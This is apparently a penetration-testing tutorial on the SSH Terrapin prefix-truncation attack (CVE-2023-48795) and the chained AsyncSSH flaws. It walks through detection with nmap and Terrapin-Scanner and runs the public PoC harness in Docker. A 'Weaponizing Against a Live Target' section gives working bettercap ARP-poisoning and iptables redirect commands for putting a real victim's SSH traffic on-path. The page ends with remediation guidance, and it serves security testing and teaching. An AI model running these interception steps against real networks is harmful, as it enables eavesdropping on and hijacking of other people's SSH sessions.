Skip to content
HackIndex logo

HackIndex

SSH Terrapin Attack (CVE-2023-48795)

9 min read Jun 19, 2026

Terrapin (CVE-2023-48795) is a prefix truncation attack against the SSH Binary Protocol. With a man-in-the-middle position, an attacker removes specific packets from the start of the encrypted channel and both sides accept a truncated handshake. On a general server this is a downgrade: it strips the EXT_INFO message carrying the server-sig-algs advertisement and the keystroke timing obfuscation from OpenSSH 9.5. On AsyncSSH it goes further. Chained with two state machine flaws (CVE-2023-46445 and CVE-2023-46446), it signs a victim into an attacker-controlled session. The attack applies when chacha20-poly1305@@openssh.com or a CBC cipher with an Encrypt-then-MAC MAC is negotiated and neither peer has strict key exchange. Fixed in OpenSSH 9.6.

What Terrapin Enables

Terrapin does not give you a shell on a generic server. It gives a downgrade primitive, and on AsyncSSH a session hijack. Both need a MitM position:

Target

Impact

General SSH server (OpenSSH etc.)

Strips EXT_INFO / server-sig-algs, enabling rsa-sha1 signature downgrade in some configurations; removes the OpenSSH 9.5 keystroke timing obfuscation

Any handshake extension

Any security property negotiated through the extension mechanism can be silently removed

AsyncSSH 2.13.2 and earlier

Rogue extension negotiation (CVE-2023-46445) injects an attacker-chosen server-sig-algs value; rogue session attack (CVE-2023-46446) drops the victim into an attacker-controlled session. Full session takeover.

Confirm Vulnerable Cipher Negotiation

Confirm the server offers a mode Terrapin can exploit. The cipher and MAC list tells you whether the attack applies:

┌──(kali㉿kali)-[~]
└─$ nmap -p 22 $TARGET_IP --script ssh2-enum-algos
| ssh2-enum-algos:
|   encryption_algorithms:
|       [email protected]
|       aes256-cbc
|   mac_algorithms:
|       [email protected]

chacha20-poly1305@@openssh.com confirms the primary condition. hmac-sha2-256-etm@@openssh.com with a CBC cipher confirms the secondary one. Either is enough.

Detect with Terrapin-Scanner

The official scanner runs an unauthenticated connection check and reports whether strict key exchange is in place. v1.1.3 is current:

┌──(kali㉿kali)-[~]
└─$ go install github.com/RUB-NDS/Terrapin-Scanner@latest
┌──(kali㉿kali)-[~]
└─$ ~/go/bin/Terrapin-Scanner --connect $TARGET_IP:22
Reachable Terrapin Severity: HIGH
Banner: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.5
ChaCha20-Poly1305 support:   true
CBC-EtM support:             false
Strict key exchange support: false
The scanned peer is VULNERABLE to Terrapin.
┌──(kali㉿kali)-[~]
└─$ ~/go/bin/Terrapin-Scanner --connect $TARGET_IP:22 --json
{
  "RemoteAddr": "10.10.10.50:22",
  "IsServer": true,
  "Banner": "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.5",
  "SupportsChaCha20": true,
  "SupportsCbcEtm": false,
  "SupportsStrictKex": false,
  "Vulnerable": true
}

Test SSH Clients, Not Just Servers

Terrapin applies to both ends. Run the scanner in listen mode and point a client at it to see whether the client negotiates a vulnerable mode without strict key exchange. Useful when the target is a jump host, CI runner, or automation client rather than a server:

┌──(kali㉿kali)-[~]
└─$ ~/go/bin/Terrapin-Scanner --listen 0.0.0.0:2222
┌──(kali㉿kali)-[~]
└─$ # then connect with the client under test:
┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 $USER@$LHOST
Reachable Terrapin Severity: HIGH
Banner: SSH-2.0-OpenSSH_8.9p1
ChaCha20-Poly1305 support:   true
Strict key exchange support: false
The scanned peer is VULNERABLE to Terrapin.
┌──(kali㉿kali)-[~]
└─$ # Docker alternative when Go is not available
┌──(kali㉿kali)-[~]
└─$ docker run --rm ghcr.io/rub-nds/terrapin-scanner --connect $TARGET_IP:22

From Detection to Real Exploitation

Detection only confirms the ciphers are vulnerable. Exploiting Terrapin needs a MitM position between client and server: ARP spoofing on a flat LAN, a rogue access point for wireless clients, or control of a hop in the route. The PoC harness below runs the full attack against real SSH implementations in Docker. The proxy does the same packet truncation it would on the wire, so reproduce impact in the harness first, then move to a live target.

Build the PoC Harness (Terrapin-Artifacts)

The official PoC is RUB-NDS/Terrapin-Artifacts and runs in Docker (tested on Engine 25.0.3+). Two build steps: the SSH implementation images and the PoC proxy images.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/RUB-NDS/Terrapin-Artifacts && cd Terrapin-Artifacts
┌──(kali㉿kali)-[~]
└─$ # Step 1: build SSH implementation images (OpenSSH, AsyncSSH, Dropbear, libssh, PuTTY)
┌──(kali㉿kali)-[~]
└─$ bash impl/build.sh
[+] Building openssh-server:9.4p1
[+] Building openssh-server:9.5p1
[+] Building asyncssh-server:2.13.2
┌──(kali㉿kali)-[~]
└─$ # Step 2: build the PoC proxy images (sqn-manipulation, ext-downgrade, asyncssh attacks)
┌──(kali㉿kali)-[~]
└─$ bash pocs/build.sh

Sequence Number Manipulation, the Core Primitive

First prove the primitive the rest builds on: Terrapin desynchronizes the sequence number counters so a peer accepts a packet at a position the other side never authenticated for. test-sqn-manipulation.sh is interactive: pick the manipulation variant, the offset N, and a client. Every variant ends with the connection terminating. That termination is the expected proof, not a failure.

┌──(kali㉿kali)-[~]
└─$ bash scripts/test-sqn-manipulation.sh
[+] Please select PoC variant to test [1-4]:
  1) RcvIncrease
  2) RcvDecrease
  3) SndIncrease
  4) SndDecrease
[+] Please choose a natural number N between 0 and 2^32
[+] Please select client implementation to test [1-6]:
  1) AsyncSSH   2) Dropbear   3) libssh
  4) OpenSSH 9.4p1   5) OpenSSH 9.5p1   6) PuTTY 0.79
[+] Selected PoC variant: 'RcvIncrease'
[+] Client terminated, PoC done

Set N = 1 for the minimal off-by-one desynchronization. Capture on the lo interface while it runs to watch the sequence counters drift in Wireshark. The SSH server binds on port 2200, the PoC proxy on 2201.

Extension Downgrade Attack: ChaCha20-Poly1305

The primary attack against general servers. It strips the EXT_INFO message and completes the handshake downgrade. The script asks for the client/server combination and attack variant:

┌──(kali㉿kali)-[~]
└─$ bash scripts/test-ext-downgrade.sh
Choose a client:
  1) OpenSSH 9.5p1
  2) PuTTY 0.79
Choose a server:
  1) OpenSSH 9.4p1
  2) OpenSSH 9.5p1
Choose attack variant:
  1) ChaCha20-Poly1305
  2) CBC-EtM (UNKNOWN)
  3) CBC-EtM (PING)

Select variant 1. The script runs the proxy, connects the client through it, then opens two files in less: one from the attack run, one from a clean connection. The diff shows SSH_MSG_EXT_INFO present in the clean connection and absent in the attacked one.

Extension Downgrade Attack: CBC-EtM

Run the CBC-EtM variant 10,000 times to confirm reliability:

┌──(kali㉿kali)-[~]
└─$ bash scripts/bench-ext-downgrade.sh

AsyncSSH Rogue Extension Negotiation (CVE-2023-46445)

The first AsyncSSH-specific attack. Through the truncation the proxy injects a server-sig-algs extension with an attacker-chosen value into the tampered connection while the victim sees a normal handshake. This is the building block for forcing weaker signature handling on an AsyncSSH peer. Runs non-interactively:

┌──(kali㉿kali)-[~]
└─$ bash scripts/test-asyncssh-rogue-ext-negotiation.sh
--- AsyncSSH rogue extension negotiation PoC ---
[i] Reproduces evaluation results from section 6.1 of the paper
[+] Starting asyncssh-server:2.13.2 on port 2200
[+] Baseline: direct client-to-server connection
[+] Attack: client routed through PoC proxy on port 2201
[+] Generating diffs, opening in less

The script captures container logs for the direct and proxied connections, then opens the diffs in less. The injected server-sig-algs value appears only in the proxied server log.

AsyncSSH Rogue Session Attack (CVE-2023-46446)

The high-impact attack. Abusing AsyncSSH's state machine, the attacker authenticates in the tampered connection while the victim authenticates in the unmodified one. Both succeed, but the victim now drives a session that authenticated as the attacker. The victim ends up in an attacker-controlled account, or the attacker sits as a MitM inside the encrypted session. This is a full session takeover against vulnerable AsyncSSH, not just a downgrade.

┌──(kali㉿kali)-[~]
└─$ bash scripts/test-asyncssh-rogue-session-attack.sh
--- AsyncSSH rogue session attack PoC ---
[i] Reproduces evaluation results from section 6.2 of the paper
[+] Starting asyncssh-server:2.13.2 on port 2200
[+] Direct connection: client authenticates as the victim
[+] Proxied connection through PoC proxy on port 2201
[+] Capturing logs, generating diffs, opening in less

Compare the server-side diff: the direct and rogue-proxied connections authenticate as different identities, proving the victim was signed into the attacker's session. This is the demonstration to put in a report. Capture it on lo with Wireshark for packet-level evidence.

Success

On a real engagement, hunt for AsyncSSH-based endpoints rather than OpenSSH, which only suffers the downgrade. Some network appliances, automation tooling, and custom Python SSH services use AsyncSSH. Banner and behavior fingerprinting during enumeration tells you which implementation you face.

Live Packet Capture and Cleanup

Every PoC runs its containers with --network host, so all attack traffic is visible on lo. The repo ships a helper that launches Wireshark pre-filtered for the PoC ports:

┌──(kali㉿kali)-[~]
└─$ bash scripts/start-wireshark.sh

Watch for the manipulated sequence numbers and the missing SSH_MSG_EXT_INFO packet in the proxied stream. When finished, reset any leftover containers and network state:

┌──(kali㉿kali)-[~]
└─$ bash scripts/cleanup-system.sh

Weaponizing Against a Live Target

The harness proves impact against local containers. To run it against a real client and server, supply the MitM yourself and route the victim's TCP 22 through the PoC proxy:

  • Get on-path between the victim client and the server: bettercap or arpspoof for ARP poisoning on a flat LAN, or a rogue AP for wireless clients.

  • Redirect the victim's SSH traffic into your proxy with an iptables REDIRECT on port 22, then have the proxy connect onward to the real server.

  • Point the Terrapin PoC proxy at the real server instead of the Docker server image. The proxy code under pocs/ is wired for fixed client/server images, so retargeting it to arbitrary endpoints is the part you adapt.

┌──(kali㉿kali)-[~]
└─$ # 1. ARP poison the victim so its traffic routes through you (restricted in exams)
┌──(kali㉿kali)-[~]
└─$ bettercap -iface eth0 -eval "set arp.spoof.targets $TARGET_IP; arp.spoof on"
 
┌──(kali㉿kali)-[~]
└─$ # 2. Forward and redirect intercepted SSH to the local PoC proxy
┌──(kali㉿kali)-[~]
└─$ sysctl -w net.ipv4.ip_forward=1
┌──(kali㉿kali)-[~]
└─$ iptables -t nat -A PREROUTING -p tcp --dport 22 -s $TARGET_IP -j REDIRECT --to-ports 2201

The published proxy is a research artifact, not a turnkey on-path tool, so adapting it to live endpoints takes work. Against OpenSSH the payoff is the downgrade; the session takeover is specific to AsyncSSH targets. Test the whole chain in your lab first.

Evidence Collection for Reporting

┌──(kali㉿kali)-[~]
└─$ echo "=== Banner ==" && nc -w3 $TARGET_IP 22 | head -1
┌──(kali㉿kali)-[~]
└─$ echo "=== Vulnerable Ciphers ==" && nmap -p 22 $TARGET_IP --script ssh2-enum-algos 2>/dev/null | grep -iE 'chacha20|etm'
┌──(kali㉿kali)-[~]
└─$ echo "=== Terrapin Scanner ==" && ~/go/bin/Terrapin-Scanner --connect $TARGET_IP:22 --json | tee /tmp/terrapin_result.json

Remediation

Upgrade to OpenSSH 9.6 or later, which adds strict key exchange as the fix. If you cannot upgrade yet, disable the affected ciphers in sshd_config:

# /etc/ssh/sshd_config: temporary mitigation without upgrading
Ciphers -chacha20-poly1305@@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc
MACs -hmac-sha2-256-etm@@openssh.com,-hmac-sha2-512-etm@@openssh.com,-hmac-sha1-etm@@openssh.com

References